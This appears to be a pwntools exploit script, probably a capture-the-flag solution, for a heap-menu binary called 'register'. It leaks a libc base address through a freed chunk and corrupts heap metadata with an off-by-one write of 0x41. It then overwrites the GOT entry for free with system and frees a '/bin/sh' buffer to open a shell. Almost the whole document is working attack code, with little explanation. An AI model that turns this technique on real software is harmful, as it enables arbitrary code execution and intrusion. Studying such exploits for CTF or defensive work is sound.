1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import *
s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) itr = lambda :io.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) ls = lambda data :log.success(data) lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64' context.log_level = 'debug'
binary = './register' libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc if (libelf!=''): libc = ELF(libelf)
io = process("./register")
def a(size,content): sla("Your choice :",b"1") sla(b"enter the user ID : ",str(size).encode()) sla(b"enter the username : ",content) def e(idx,content): sla("Your choice :",b"2") sla(b"Index :",str(idx).encode()) sla(b"enter the username : ",content)
def s(idx): sla("Your choice :",b"3") sla(b"Index :",str(idx).encode())
def f(idx): sla("Your choice :",b"4") sla(b"Index :",str(idx).encode()) a(0xa0,b"a"*0x90) a(0x18,b"a"*0x18) f(0) a(0x18,b"") s(0) ru(b"Username : ") libc_base = u64(r(6).ljust(8,b"\x00")) - 0x3C4c0A libc = ELF("libc-2.23.so") system = libc_base + libc.sym["system"] ls(hex(libc_base)) ls(hex(system)) a(0x18,b"")
f(2) a(0x28,b"/bin/sh\x00") a(0x18,b"") e(2,b"/bin/sh\x00"+b"c"*0x20+b"\x41") f(3) a(0x38,b"") e(3,b"a"*0x18+p64(0x20)+p64(0x18)+p64(elf.got["free"])) e(1,p64(system)) f(2) itr()
|